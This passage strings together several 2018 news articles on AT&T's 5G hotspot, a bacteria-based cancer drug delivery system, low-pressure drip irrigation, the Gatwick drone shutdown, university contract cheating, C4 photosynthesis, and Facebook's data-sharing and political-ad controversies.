next year as well, one in the first half of the year and one in the second half. Similar to Verizon, AT&T will have a tempting deal for early adopters of the new technology, offering the hotspot and data for free to "select" consumers and business users for "at least" 90 days. Interested users that are in the 5G areas won't be able to walk into a store or order the new device online like they would a new phone. Instead, they will need to head to an AT&T website to express their interest in trying out the new device and network. AT&T will have two sites set up, one for business users and one for consumers. The program is voluntary and there is no requirement to sign a contract or an annual commitment to participate. Next spring the company will be charging $499 upfront for the device with 15GB of 5G hotspot data costing $70 per month. AT&T notes in its release that this device will require a "5G compatible" data plan, though exactly what these new data plans will look like and how much they will cost, beyond the one listed, is unclear. It is also unclear if AT&T plans to introduce new 5G data plans for phones next year. "5G brings capabilities that are going to cause us to think different about pricing," an AT&T spokesperson said a statement provided to USA TODAY. Like its rivals, AT&T will expand its 5G network in 2019 with Las Vegas, Nashville, Orlando, Los Angeles, San Diego, San Francisco and San Jose, Calif. on the next list of cities due to receive 5G in the first half of the year. Get ready for a marketing battle While there are plenty of reasons to get excited for 5Gfaster data, new opportunities such as self-driving cars, better gaming and the potential to replace home broadbandone thing that is likely to cause confusion is the new marketing battle carriers will engage in to spread the word about their fancy new networks. Verizon is calling its home, or "fixed," 5G network "5G," though this 5G network will be different than the one its 5G mobile devices will connect to next year. AT&T is currently in the process of building out two mobile 5G networks that will work together, technologies known as millimeter wave (or "mmWave") and sub-6 GHz. The former network, is ideal for faster speeds in less dense areas will be the one launching Friday. The latter, which will come out next year, will be better suited for covering larger areas. Some of AT&T's first 5G devices, like the first Samsung phone, also won't support both technologies. The second Samsung phone, due in the second half of the year, will, however, work with both 5G technologies. Making things more complicated: AT&T is also marketing its latest improvements to its nationwide 4G LTE network as "5G Evolution" and its mmWave 5G network as 5G+. The new Netgear hotspot will support AT&T's 4G LTE and 5G Evolution networks in addition to the 5G+ network. But then again, no one said the battle for 5G wasn't going to be messy. Explore further Sprint ups mobile hotspot to 50GB, turns on faster 4G LTE network before 5G arrives in 2019 (c)2018 USA Today Distributed by Tribune Content Agency, LLC. Rick Davis (left), professor of chemical engineering; Bahareh Behkam (middle), associate professor of mechanical engineering; and Coy Allen (right), assistant professor of biomedical sciences and pathobiology in the Virginia-Maryland College of Veterinary Medicine. All three are affiliated with Virginia Tech's Macromolecules Innovation Institute and have teamed up on developing their new drug delivery system called NanoBEADS Credit: Virginia Tech An interdisciplinary team of three Virginia Tech faculty members affiliated with the Macromolecules Innovation Institute has created a drug delivery system that could radically expand cancer treatment options. The conventional cancer treatment method of injecting nanoparticle drugs into the bloodstream results in low efficacy. Due to the complexities of the human body, very few of those nanoparticles actually reach the cancer site, and once there, there's limited delivery across the cancer tissue. The new system created at Virginia Tech is known as Nanoscale Bacteria-Enabled Autonomous Drug Delivery System (NanoBEADS). Researchers have developed a process to chemically attach nanoparticles of anti-cancer drugs onto attenuated bacteria cells, which they have shown to be more effective than the passive delivery of injections at reaching cancer sites. NanoBEADS has produced results in both in vitro (in tumor spheroids) and in vivo (in living mice) models showing up to 100-fold improvements in the distribution and retention of nanoparticles in cancerous tissues. This is a product of the five-year National Science Foundation CAREER Award of Bahareh Behkam, associate professor of mechanical engineering. Collaborators on this interdisciplinary team are Rick Davis, professor of chemical engineering, and Coy Allen, assistant professor of biomedical sciences and pathobiology in the Virginia-Maryland College of Veterinary Medicine. "You can make the most amazing drugs, but if you cannot deliver it where it needs to go, it cannot be very effective," Behkam said. "By improving the delivery, you can enhance efficacy." This work, which combines expertise in mechanical engineering, biomedical engineering, chemical engineering, and veterinary medicine, was recently detailed in Advanced Science. Using salmonella for good Humans have noticed, even as far back as Ancient Egypt, that cancer went into remission if the patient also contracted an infection like salmonella. Neither are ideal, but humans can treat salmonella infections more effectively than cancer. In modern times, Allen said the idea of treating cancer with infections traces back to the late 1800s and has evolved into immunotherapy, in which doctors try to activate the immune system to attack cancerous cells. Of course, salmonella is harmful to humans, but a weakened version could in theory provide the benefits of immunotherapy without the harmful effects of salmonella infection. The concept is similar to humans receiving a weakened flu virus in a vaccine to build immunity. Over six years ago, Behkam came up with the idea of augmenting bacterial immunotherapy to also attack cancer with conventional anti-cancer drugs. The problem was the passive delivery of anti-cancer drugs doesn't work very well. Given her background in bio-hybrid microrobotics, she wanted to use salmonella bacteria as autonomous vehicles to transport the medicine, in nanoparticle form, directly to the cancer site. The work began with Behkam's first doctoral student, Mahama Aziz Traore, constructing the first generation of NanoBEADS by assembling tens of polystyrene nanoparticles onto E. coli bacteria. After thoroughly studying the dynamics and control aspects of the NanoBEADS systems for a few years, Behkam brought Davis into the project because he had experience creating polymer nanoparticles for drug delivery. "She mentioned this radically different approach for delivering drugs and nanoparticles," Davis said. "I walked away from the conversation thinking, 'Man, if this thing could work, it would be fantastic.'" Behkam chose this particular bacterial strain, Salmonella enterica serovar Typhimurium VNP20009, because it has been thoroughly studied and successfully tested in a phase one clinical trial. "Its (salmonella's) job as a pathogen is to penetrate through the tissue," Behkam said. "What we thought is if bacteria are so good at moving through the tissue, how about coupling nanomedicine with the bacterium to carry that medicine much farther than it'd passively diffuse on its own?" graphical video showing how nanoparticles are attached to salmonella bacteria cells which move between cells to reach tumors NanoBEADS agents are constructed by conjugating poly(lacticcoglycolic acid) nanoparticles with tumortargeting Salmonella typhimurium. NanoBEADS enhance retention and distribution of nanoparticles in solid tumors by up to a remarkable 100fold, through intercellular (between cells) selfreplication and translocation. This transport enhancement is achieved autonomously, without the need for any externally applied driving force or control input. Credit: Virginia Tech Description of graphical element: NanoBEADS agents are constructed by conjugating poly(lactic?co?glycolic acid) nanoparticles with tumor?targeting Salmonella typhimurium. NanoBEADS enhance retention and distribution of nanoparticles in solid tumors by up to a remarkable ?100?fold, through intercellular (between cells) self?replication and translocation. This transport enhancement is achieved autonomously, without the need for any externally applied driving force or control input. Trial and error Although Behkam had a vision for the new drug delivery system, it took several years for it to become reality. "The process of creating nanoparticles and then attaching them to bacteria in a robust and repeatable manner was challenging, but add on top of that ensuring the bacteria stay alive, discovering the mechanism of bacteria transport in cancerous tissue, and devising ways to quantitatively describe the effectiveness of NanoBEADS, and this was a difficult project," Davis said. SeungBeum Suh, Behkam's former Ph.D. student, and Amy Jo, Davis' former Ph.D. student, worked together on attaching nanoparticles while keeping the bacteria alive. It wasn't until their fourth attempt that they started finding success. "We collaborated to make these particles, and we attached them to the bacteria," Behkam said. "Then the question was what is the mechanism of their translocation in the tumor? How far do they go into the tumor? How do we present a quantitative measure of their performance?" Behkam along with Suh and current doctoral student Ying Zhan tested their nanoparticle-attached salmonella in lab-grown tumors. They found up to 80-fold improvements in nanoparticle penetration and distribution using the NanoBEADS platform, compared to passively diffusing nanoparticles. Furthermore, Suh and Behkam found out that NanoBEADS largely penetrate the tumor by translocating through the space in between cancer cells. Behkam wanted to strengthen the NanoBEADS results past the in vitro stage. With a top-flight veterinary school down the road, she enlisted Allen, her fellow MII faculty member, to test the NanoBEADS system in vivo. Tests in breast cancer tumors in mice produced results showing significant improvements compared to passive delivery. The tests showed that there was about 1,000 times more salmonella cells in the tumor compared to the liver and 10,000 times more than the spleen. "Most notably, the salmonella itself helped keep the particles in the tumor up to 100-fold better, which would suggest it would be an effective delivery vehicle," Allen said. The next step in the research is to load cancer therapeutics into the NanoBEADS system to test the potential enhancement in efficacy. From bench to kennel to bedside The collaboration highlights the diversity of interdisciplinary research possible through MII and Virginia Tech. "The synergistic integration of diverse expertise has been essential to the high-impact discoveries that resulted from this work," Behkam said. With the addition of the Virginia Tech Carilion School of Medicine and Fralin Biomedical Research Institute at VTC, Allen said Virginia Tech has the possibility to test scientific research "from bench to kennel to bedside." "The project could not move forward without each of the three parts," Allen said. "The study would not have gotten into such a high impact journal without having the chemistry, the background of the pathogen, the idea, and having the physiological and clinical relevance of testing it in an actual tumor in an actual animal model." Davis said all drug delivery mechanisms have to go through animal trials, so having an "absolutely fantastic" college of veterinary medicine on campus took the research to a higher level. "One thing that attracted me to this project was the ability to work with people like Bahareh and Coy who work with cells and animal studies to really translate the work," Davis said. "It's hard to find that combination of people in a lot of schools." Explore further New computer model designs a drug delivery strategy to fight cancer More information: SeungBeum Suh et al. Nanoscale Bacteria-Enabled Autonomous Drug Delivery System (NanoBEADS) Enhances Intratumoral Transport of Nanomedicine, Advanced Science (2018). SeungBeum Suh et al. Nanoscale Bacteria-Enabled Autonomous Drug Delivery System (NanoBEADS) Enhances Intratumoral Transport of Nanomedicine,(2018). DOI: 10.1002/advs.201801309 Graduate student Julia Sokol is working on making drip irrigation cheaper and more efficient at MITs Global Engineering and Research (GEAR) Lab. Credit: Tony Pulsone When it comes to the health of the planet, agriculture and food production play an enormous role. According to the Food and Agriculture Organization of the United Nations, roughly 37 percent of land worldwide is used for agriculture and food production, and 11 percent of the Earth's land surface is used specifically for crop production. Finding ways to make agriculture more sustainable and efficient is crucial not only for the environment, but also for global food supply. Julia Sokol grew up far away from any farm. Born in Russia, Sokol and her family moved when she was 10 years old to New York City, where her father worked for the United Nations. These days, however, Sokol, a Ph.D. student in mechanical engineering, spends a lot of her time thinking about agriculture. For the past two years, Sokol has been working on a drip irrigation project at MIT's Global Engineering and Research (GEAR) Lab. After receiving her bachelor's in mechanical engineering at Harvard University, Sokol spent some time in industry, first as a research assistant at Schlumberger, then working at a small sustainability consulting firm. Wanting a stronger technical foundation, she applied to MIT for graduate school. During her master's program, Sokol took course 2.76 (Global Engineering), which was taught by associate professor and principal investigator of the GEAR Lab, Amos Winter. Having developed an interest in water-related issues, Sokol jumped at the opportunity to work with Winter on the GEAR Lab's energy efficient drip irrigation project. "I was really excited to join the project," says Sokol. "It perfectly combines my passion for sustainability with my interest in fundamental research in fluid mechanics and system design." Rather than flood irrigationin which water is pumped from a source to flood a field drip irrigation has a central pump that moves water through a network of pipes. Emitters attached to the pipes release water uniformly throughout the field, resulting in higher crop yield and less water consumption when compared to flood irrigation. "The goal of drip irrigation is to provide water at a low enough flow rate for the roots to actually start absorbing it immediately, instead of it evaporating or percolating back down to an aquifer," explains Sokol. The emitters used in drip irrigation disperse water evenly, as opposed to flood irrigation, which often causes crops to get water-logged. "These drip emitters need to provide a uniform flow rate throughout the field so all crops get the same amount of water," adds Susan Amrose, a research scientist at the GEAR Lab. At a treated wastewater irrigation site in Jordan, Julia Sokol installs a data logger and sensors to record pressure and flow data in irrigation pipes. Credit: Susan Amrose The research team first focused on the geometrical features of these emitters. They developed a mathematical model describing how the geometrical features interact with the membranes inside them. Based on this model, they optimized the emitters to get the lowest possible pressure required to ensure the water flows to crops at the right rate. Commercial emitters require minimum activation pressure of 1 bar to provide a constant flow rate for the crops. Thanks to the changes the team made inside the emitter, they lowered the activation pressure to just 0.15 bar. This reduction in the pressure needed to activate the drippers cut the power needed to operate the central pump in half. "Reducing the pressure lowers the cost of the system overall, which is beneficial to the farmer, and of course it also helps reduce greenhouse gas emissions," says Sokol. For off-grid drip irrigation systems that operate via solar power, the use of the new emitters could reduce costs to the farmer by 40 percent. "For farmers in developing countries, this cost savings reduces the barrier to a water conserving and yield increasing technology," adds Amrose. The team has conducted a number of field trials in Morocco and Jordan, where they work with NGO partners and private farmers to test the newly designed emitters and optimized irrigation system. "The biggest takeaway from these field trials was how much our system reduced energy and cost while providing high uniformity of flow rate to crops," explains Sokol. According to Amrose, Sokol has been instrumental in the development and testing of these emitters. "She brings the whole packageshe is an excellent designer, she can be in the field fixing hardware, and she is also incredibly good theoretically, working with models," Amrose says. Sokol and the GEAR Lab team will continue to make improvements to the design of the emitters that both reduce costs, conserve resources, and improve crop yield. "The global population keeps growing, so we need greater agricultural productivity," Sokol adds. "That's our focusto make that happen, especially in developing areas." This story is republished courtesy of MIT News (web.mit.edu/newsoffice/), a popular site that covers news about MIT research, innovation and teaching. The arrivals board at Gatwick Airport showing cancelled, diverted and delayed flights as the airport remains closed with incoming flights delayed or diverted to other airports, after drones were spotted over the airfield last night and this morning Thursday Dec. 20, 2018. London's Gatwick Airport remained shut during the busy holiday period Thursday while police and airport officials investigate reports that drones were flying in the area of the airfield. (Thomas Hornall/PA via AP) Drones spotted over the runway forced the shutdown of London's Gatwick Airport on Thursday during one of the busiest times of the year, stranding or delaying tens of thousands of Christmas-season travelers and setting off a hunt for the operator of the intruding aircraft. The prospect of a deadly collision between what police called "industrial"-grade drones and an airliner led authorities to stop all flights in and out. Police said that they had no doubt the intrusion was a deliberate attempt to disrupt operations at the airport during a peak period but that there were "absolutely no indications to suggest this is terror-related." About 20 police units from two forces tried in vain to find the drone operator as soon as the first unmanned aircraft was spotted above Gatwick on Wednesday evening. Police told airport officials it was too risky to try to shoot down the dronesstray bullets might kill someone. "Each time we believe we get close to the operator, the drone disappears. When we look to reopen the airfield, the drone reappears," said Sussex Police Superintendent Justin Burtenshaw. He said the newer-generation drones are bigger and have more range, making it harder for police to zero in on the person controlling the device. Defense Secretary Gavin Williamson said the military would be deployed to help police. He said the armed forces would bring "unique capabilities" but gave no details. Queues of passengers wait at the check-in desks at Gatwick Airport, as the airport remains closed and with incoming flights delayed or diverted to other airports, after drones were spotted over the airfield last night and this morning Thursday Dec. 20, 2018. London's Gatwick Airport remained shut during the busy holiday period Thursday while police and airport officials investigate reports that drones were flying in the area of the airfield. (Thomas Hornall/PA via AP) Drones could get sucked into a jet engine or crash through a windshield, incapacitating the pilot. The crisis at Gatwick had a ripple effect on air travel in Britain, continental Europe and beyond as incoming flights were sent to other locations and outgoing ones were stopped. Travelers described freezing conditions overnight at Gatwick as hundreds slept on benches and floors, and passengers and their families complained they weren't being kept informed about re-routed flights. "We understand it's an emergency situation, but the lack of information is really surprising," said Vanessa Avila, an American based in Britain who works for the U.S. military. Her mother was on a flight from Florida to Gatwick that ended up landing in the northern English city of Manchester. GatwickBritain's second-busiest airport by passenger numbersfirst closed its runway Wednesday evening after two drones were spotted. It reopened briefly at about 3 a.m. Thursday, but shut down 45 minutes later after further sightings. Queues of passengers cross a concourse in Gatwick Airport, as the airport remains closed with incoming flights delayed or diverted to other airports, after drones were spotted over the airfield last night and this morning Thursday Dec. 20, 2018. London's Gatwick Airport remained shut during the busy holiday period Thursday while police and airport officials investigate reports that drones were flying in the area of the airfield. (Thomas Hornall/PA via AP) The airport, about 30 miles (45 kilometers) south of London, sees more than 43 million passengers a year. About 110,000 had been scheduled to pass through on Thursday. Police said the drones were of an "industrial specification," an indication they weren't small, inexpensive machines. The larger drones are more dangerous to jets in flight and can stay in the air longer than the models sold to amateur enthusiasts. The airport's two terminals were jammed with thousands of weary travelers. "I haven't slept since yesterday morning. We are very tired. It's freezing, we are cold, having to wear all of these coats for extra blankets," said Andri Kyprianou, of Cyprus, whose flight to Kiev was canceled. "There were pregnant women. One of them was sleeping on the floor. There were people with small babies in here overnight. We saw disabled people on chairs. There were young children sleeping on the floor." In this Dec. 1, 2010, file photo, a terminal link train arrives behind a glass window at the snow covered terminal station at London's Gatwick Airport in Horley, England. London's Gatwick Airport shut down late Wednesday, Dec. 19, 2018, while officials urgently investigated reports that two drones were flying above the airfield. (AP Photo/Sang Tan, File) Passengers complained on Twitter that their Gatwick-bound flights had been diverted to London's Heathrow Airport, Manchester, Birmingham and other cities. Luke McComiskie, who landed in Manchester, more than 160 miles (260 kilometers) from London, said the situation "was just chaos, and they had only two coaches (buses) and taxis charging people 600 pounds ($760) to get to Gatwick." Pilots have reported numerous close calls with drones in recent years in Britain, and aviation authorities have warned of the growing risk of a disastrous collision. Britain has toughened its laws on drones, and flying one within 1 kilometer (0.6 miles) of an airport is punishable by up to five years in prison. Gatwick briefly closed its runway last year when a drone was spotted in the area. A drone also briefly led to the shutdown of Dubai's international airport in 2016. Explore further UK pilots warn of disaster, seek tougher rules for drones 2018 The Associated Press. All rights reserved. Unique, in-class tasks were perceived to be the hardest to cheat on. Credit: www.shutterstock.com It's never been easier for university students to cheat. We just need look to the scandal in 2015 that revealed up to 1,000 students from 16 Australian universities had hired the Sydney-based MyMaster company to ghost-write their assignments and sit online tests. It's known as contract cheating when a student pays a third party to undertake their assignments which they then pass off as their own. Contract cheating isn't new the term was coined in 2006. But it's becoming more commonplace because new technologies, such as the smart phone, are enablers. Cheating is taken seriously by universities and the national regulator, the Tertiary Education Quality and Standards Agency. Much of the focus has been on changing assessment tasks to ones deemed to be harder for a third party to undertake. This is called "authentic assessment". This type of assessment has been widely adopted at universities. They are comprised of tasks that evaluate knowledge and skills by presenting students with real-world scenarios or problems relevant to the kinds of challenges they would face following graduation. But new research found authentic assessment may be as vulnerable to cheating as other more obvious examples, such as essays. What the research shows This new study was conducted by academics from six universities, led by Tracey Bretag and Rowena Harper from the University of South Australia. The research part of the federal government's Contract Cheating and Assessment Design project surveyed 14,086 students and 1,147 staff. The goal of this research was to collect and understand student's perceptions of the likelihood of cheating on 13 different assessment tasks. The research then asked teaching staff which of the 13 tasks they used. The researchers have previously reported from this data set that 6% of students admitted to cheating. The purpose of the current round of analysis was not to understand the extent of cheating, but perceptions of how easily it might be done, and if that correlated with the tasks educators set. They found, for both students and teachers, assessments with a short turnaround time and heavily weighted in the final mark were perceived as the tasks which were the most likely to attract contract cheating. Assessments perceived as the least likely to attract contract cheating were in-class tasks, personalised and unique tasks, vivas (oral explanations of a written task) and reflections on practical placements. But these tasks were the least likely to be set by educators, presumably because they're resource and time intensive. Contract cheating and assessment design The research confirms the relationship between contract cheating and assessment design is a complex one. There was no assessment tasks for which students reported a 0% likelihood of contract cheating. Students who engage in contract cheating both see and look for opportunities to cheat regardless of the assessment task. For universities, that means they must assume cheating is always possible and simply changing what assessments they use will not combat the problem. Many experts have advocated the use of supervised exams to combat cheating. But this new research adds to a growing body of evidence that exams provide universities and accrediting bodies with a false sense of security. In fact, previous data has shown students reported engaging in undetected cheating on supervised exams at higher rates than other types of cheating. Another common approach is to use a series of small, graded tasks, such as spontaneous in-class tests, sometimes called continuous assessment. Even here, students indicated these were the third most likely form of assessment to be outsourced. Who's most likely to cheat? There has been much attention, particularly during the MyMaster scandal, on international students' use of contract cheating. The new research suggests both international students and domestic students from non-English speaking backgrounds are more likely to engage in contract cheating than other students. The research also found business and commerce degrees were more likely be perceived as attracting contract cheating. Engineering was also particularly vulnerable to cheating. Students from non-English speaking backgrounds hypothesised cheating would be most likely to occur in assessments that required research, analysis and thinking skills (essays), heavily weighted assignments and assessments with short turnaround times. Perhaps unsurprisingly, students who indicated they were satisfied with the quality of teaching were less likely to think breaches of academic integrity were likely. In other words, this confirms previous research which showed students dissatisfied with their educational experience are more likely to cheat. So what do we do about it? This research provides yet more compelling evidence that curriculum and changes to teaching strategies and early intervention must be employed to support students' academic endeavours. The researchers also point out high levels of cheating risks undermining the reputation and quality of Australia's A$34 billion export sector in international education. The data demonstrates assessment tasks designed to develop relevant professional skills, which teachers are highly likely to set, were perceived by students as tasks that can easily be cheated on. These might include asking accounting students to memorandums, reports or other communication groups to stakeholders, such as shareholders. In fact, among students from a non-English speaking background, the risks of cheating might actually increase for these tasks. This means authentic assessment might run the increasing risk of being outsourced. This research shows the relationship between contract cheating and assessment design is not a simple product of cause and effect. In fact, the nature of the task itself may be less relevant to the prevalence of cheating than other factors such as a student's from non-English speaking background's status, perceived opportunities to cheat or satisfaction with the teaching and learning environment. All educators must remain vigilant about cheating. Teachers must be properly resourced by their universities to ensure they can create rich learning environments which uphold the integrity of the higher education system. Burdened with large debts and facing a precarious job market after graduation, it's perhaps unsurprising some students, particularly those who are struggling academically, take a transactional approach to their education. This new research provides more clear evidence contract cheating is a systemic problem that requires a sector-wide response. This article is republished from The Conversation under a Creative Commons license. Read the original article. Alloteropsis semialata grass - the unique African grass species studied in the research paper. Credit: University of Sheffield Scientists at the University of Sheffield have taken a step forward in understanding how evolution has changed the photosynthesis process in wild plants to help them grow more rapidly. The development could one day be used to improve crop yields to help in the global fight for food security. In a groundbreaking new study published in Ecology Letters, researchers from the University's Department of Animal and Plant Sciences have shown how it could be possible to harness the C4 photosynthesis process. Photosynthesis takes carbon dioxide from the air and converts it into new plant growth. While most pants use C3 photosynthesis, plants in hot climates have evolved C4 photosynthesis to concentrate carbon dioxide within their leaves to boost plant productivity. Marjorie Lundgren, a Ph.D. student from the University, studied a unique African grass species that uses a diversity of C4, C3 and C3-C4 photosynthetic types. She said: "We needed to understand how C4 photosynthesis evolves in nature from the ancestral form of C3 photosynthesis, which lacks the carbon dioxide-concentrating pump. "For the pump to work, C4 leaves need a special anatomical arrangement, but we still know very little about how this develops and evolves." Dr. Lundgren travelled to South Africa, Tanzania, Zambia, Zimbabwe, Cameroon, Mozambique, and Australia to collect plant material for her research and collaborated with local botanists. The study looked to recognise the features of the leaves, which differ consistently between C4 and non-C4 plants. It found a single developmental changethe insertion of many small veins lead to an arrangement of leaf anatomy that is suitable for C4 photosynthesis. Until now, most studies aimed at understanding C4 leaf anatomy compare C3 and C4 species but have also captured changes not only linked to C4 evolution, but other changes accumulated since the species diverged. This has made it hard to clearly distinguish which changes are directly linked to C4 emergence. The uniqueness of the grass species studied meant the researchers were able to identify the leaf anatomical changes that are directly linked to C4 photosynthesis. "Because of this novel approach, we were able to clarify that only a single developmental change is needed to permit C4 photosynthesis, while previous studies inferred that several anatomical changes would be required," said Dr. Lundgren. She added: "There are large international efforts to engineer C4 photosynthesis into C3 crops to improve yield. Our research clarifies which anatomical changes are needed to create a functional C4-leaf and which are adopted later to further improve C4 photosynthesis. "Armed with this knowledge we can now start research on the genetic changes responsible, and these could eventually be introduced into rice to improve crop yields." Explore further Photosynthesis in plants key to speedy evolution More information: Marjorie R. Lundgren et al. C4 anatomy can evolve via a single developmental change, Ecology Letters (2018). Journal information: Ecology Letters Marjorie R. Lundgren et al. C4 anatomy can evolve via a single developmental change,(2018). DOI: 10.1111/ele.13191 Critics say the latest revelations on Facebook's data sharing with partners highlights a need for tougher regulations Facebook, the world's largest social network, faces a growing backlash over privacy and data protection, with revelations this week about sharing data with business partners adding to pressure. Here is a summary of the main issues in the Facebook controversy: What are the latest revelations? A New York Times report said some 150 business partners had access to personal data from Facebook users and in some cases, their friends, including private messages. Facebook said these were well-known and previously disclosed partnerships allowing "integration" of Facebook with other services, but some analysts said people were not fully aware of the arrangements. "It wasn't clear to the public that these relationships were embedded within Facebook," said Jennifer Grygiel, a Syracuse University professor specializing in social media. What are the other issues for Facebook? Facebook has been hammered for failing to stop information manipulation and misinformation, including from Russian organizations in the 2016 US election. The company has acknowledged that Cambridge Analyticaworking on the Donald Trump campaignobtained profile data on tens of millions of Facebook users, but claimed that the political consultancy violated Facebook's terms of service. Facebook and other social media networks have struggled to deal with hate speech, bullying and foreign influence campaigns. These issues have sparked investigations in Washington and worldwide. Facebook critics argue that CEO Mark Zuckerbergseen at a congressional hearing in Aprilneeds more oversight from the company's board of directors arrives to testify before a joint hearing of the US Senate Commerce, Science and Transportation Committee and Senate Judiciary Committee on Capitol Hill, April 10, 2018 in Washington, DC. "It has become problematic to society and democratic institutions," Grygiel said. "We need to look at these platforms in a very broad sense to make sure all of their business practices are not a harm to society." What is Facebook doing? Facebook leaders have promised more transparency in hearings in the US Congress and elsewhere, and has stepped up efforts to find and root out fake accounts and foreign influence campaigns. But critics complain the wave of revelations suggest a disturbing pattern of disregard for data protection and privacy. "It seems every few months there is a different revelation about how Facebook mismanaged something that deals with our data and privacy," said Adam Chiara, a professor of communication at the University of Hartford. "We're all just waiting to find out which straw it is that will eventually break the camel's back." What are the consequences for Facebook? Facebook's shares skidded more than seven percent Wednesday following the Times report and a lawsuit by the District of Columbia alleging violations of user privacy. The stock has lost more than 35 percent from its 2018 highs, wiping out tens of billion in market value. So far, however its user base and revenues have seen little impact despite a number of high-profile calls to quit or delete Facebook. The number of active users rose to more than 2.2 billion in the third quarter and revenues rose 33 percent year-over-year for the company, which also operates Instagram, WhatsApp, Messenger and sells Oculus virtual reality hardware. Graphic looking at controversies involving Facebook, plus share price since 2014. What can Facebook do to restore trust? Facebook critics say the company's problems have been exacerbated by a governance structure that gives co-founder Mark Zuckerberg virtual control through super-voting shares. "Facebook is becoming a classic example of how poor corporate governance ensures that when things go wrong, they go wrong for longer and things get much worse than if shareholders could oust the management," Richard Windsor, a technology analyst who authors the Radio Free Mobile blog, wrote earlier this month. Carolina Milanesi, analyst at the Creative Strategies consultancy, said "A normal company would have got rid of somebody, they would have sacrificed somebody to try and show a change." Grygiel said Facebook needs to do more than public relations, with more substantive changes. "Mark Zuckerberg needs to relinquish some power," Grygiel said. "Facebook needs oversight from its own board." What about regulation? Lawmakers have stepped up calls for tighter regulation of privacy and data use, and the calls became louder this week. Democratic Sentor Ron Wyden is calling for legislation that would put executives in jail if they lie about consumer privacy protection US Senator Ron Wyden said he is calling for "a tough new consumer privacy bill to punish companiesand even put CEOs in jailif they lie about protecting your privacy." Some US activists want to follow the European model for data protection that requires better notice and consent for how personal data is used. "Americans deserve a clear law that protects their personal data and privacy. We don't have that right now, and until we do, we'll continue to see examples of companies using personal data in ways that surprise users," said Michelle Richardson of the Center for Democracy & Technology, a digital rights group which has drafted a template legislation. But Grygiel said she sees little "political will" in Congress tighten data protection rules. "I was quite shocked nothing moved forward in the wake of the tech hearings (earlier this year)," she said. "Maybe it's because these are American companies and they don't want to push them out of the country." Explore further Local official sues Facebook over data misuse 2018 AFP Tech giants Facebook and Google will pay Washington state more than $450,000 to settle twin lawsuits filed by Attorney General Bob Ferguson accusing the companies of failure to abide by state laws on political advertising transparency. In the settlements, filed Tuesday in King County Superior Court, the companies did not admit any violations of state law, but agreed to pay $200,000 each to end the legal disputes. They'll also cover the state's legal costs, with Google paying $17,000 and Facebook $38,500. Ferguson's office filed the lawsuits in June, citing longstanding state law that requires media companies to collect and make public detailed information about political ads. Those requirements have long applied to television stations, newspapers and billboard owners, but the state's lawsuits said Facebook and Google had failed to comply. "This resolution sends a powerful signal to the industry that you are accountable to Washington state laws. You must follow them," Ferguson said in an interview Tuesday, adding that his office will monitor the companies' behavior going forward. The move to make the tech firms fully comply with Washington's disclosure laws arose after an editor for Seattle publication The Stranger asked the firms to provide the ad information required by state law in 2017, but was rebuffed. Following up on that reporting, Conner Edwards, a Thurston County political consultant and former Republican legislative aide, filed citizen-action complaints, prompting Ferguson's lawsuit. Edwards said Tuesday he was not impressed with the settlement amounts for the multi-billion dollar tech companies. "It just seems pretty low. I am pretty shocked by that, honestly," Edwards said, questioning whether the state gained any assurances of compliance by the companies. Edwards also questioned whether Ferguson should have recused himself from the cases, pointing to past political donations to Ferguson's election campaigns, including $5,300 from Facebook and $5,800 from Google. Ferguson said he stopped taking all corporate contributions in January 2017. He said he takes Edwards' criticisms "with a grain of salt" and that the size of the settlements was proper given the allegations. Ferguson added: "If there is not full and complete disclosure going forward, Facebook and Google will hear from my office again." The lawsuits have already had some effect, as Google stopped accepting political ads for state and local races in Washington days after the complaint was filed in June. In stopping those ads, the company cited emergency rules issued by the state Public Disclosure Commission (PDC) that clarified that the state law applies to digital firms, which must make information about political ads available as soon as they are published, including viewership data and the geographic areas targeted. In a statement Tuesday, Google maintained the company had never violated Washington's law, but pulled back after the stricter PDC interpretation was put in place. "At that point, we paused accepting election advertising in Washington because our systems weren't built to comply with these new requirements. We've rolled out several features this year to ensure transparency in U.S. federal elections and we are looking at ways to bring these tools to the state level as well," said the statement supplied by company spokeswoman Alex Krasov. Google's settlement with the state specifies it continues to deny "all material allegations" made by Ferguson's lawsuit. Meanwhile, Facebook has continued to accept political ads in Washington, with the company pointing to its voluntary efforts to disclose more information even while its attorneys argued the state regulations were pre-empted by federal law. A Facebook spokeswoman, Beth Gautier, said Tuesday the company is pleased the lawsuit has been resolved. "We're working hard to protect election integrity and prevent foreign interference. We believe all ads should be transparent on Facebook and aren't waiting for legislation to authorize political advertisers and house these ads in a public archive," Gautier wrote in an emailed statement. She said the company is still looking at how to address Washington's disclosure requirements. Facebook's searchable public archive of political ads was launched in May. But Ferguson said the information provided by the archive has not been adequate to comply with Washington's rulesfailing, for example, to provide enough information on who bought ads and the precise amount of payments. The state's ad restrictions apply to state and local races, but not to federal contests such as congressional elections. While the bulk of political-ad spending still goes to television, cheaper online ads have proliferated in recent years. Political committees and candidates in Washington reported more than $5 million in payments to Facebook and $1.5 million to Google related to advertising, Ferguson's office said, citing documents filed with the PDC. Explore further Washington state sues Google, Facebook over campaign ad data 2018 The Seattle Times Distributed by Tribune Content Agency, LLC. This Jan. 17, 2017, file photo shows a Facebook logo being displayed in a start-up companies gathering at Paris' Station F in Paris. Facebook is under fire again, accused of sharing private messages and other user information with other companies. The latest report from The New York Times is alarming even in light of previous disclosures about the social network's practices. (AP Photo/Thibault Camus, File) Facebook has shared users' private messages, contact information and other personal data with companies such as Microsoft and Spotify, according to a New York Times report that was alarming even in light of previous disclosures about the social network's practices. Is there anything users can do to protect their data without walking away from Facebook altogether? Experts say there is not much you can do about information that is already in Facebook's hands. But you can at least find out what the company has on you, and you can take steps to limit how much more it can gather from here on in. REVIEW PRIVACY SETTINGS Facebook claims it had permission to give companies the data outlined in the Times story, though the company tends to define "permission" loosely . Users can at least employ their privacy settings to try to limit access as much as possible. Facebook offers a series of shortcuts. On desktops and laptops, look for the triangle on the upper right corner of the browser. On Apple and Android devices, you can access shortcuts through the menu, denoted by three horizontal bars. Select "settings" and "privacy" to review who has access. You can limit who sees your posts and other activity, turn off your location history, and disable third-party apps from having access to your data, although again, some of the information that Facebook shared was supposedly private. You can also change other privacy settings by checking "Timeline and Tagging" in your account settings. ACTUALLY READ THE TERMS OF SERVICE Facebook says it didn't violate user agreements in sharing the data. Whether that's true or not, most users barely even look at terms of service notifications before clicking "accept." Reading through one can be dizzying. But it can illuminate just how much access Facebook has to your data and can give users a glimpse of what's going on behind the scenes. Of course, Facebook can change the agreement at any time, says Rich Mogull, CEO of data security firm Securosis, so it can be hard to determine whether Facebook is violating any terms or not. That's on purpose, he says. "Look how long the agreement is," he says. 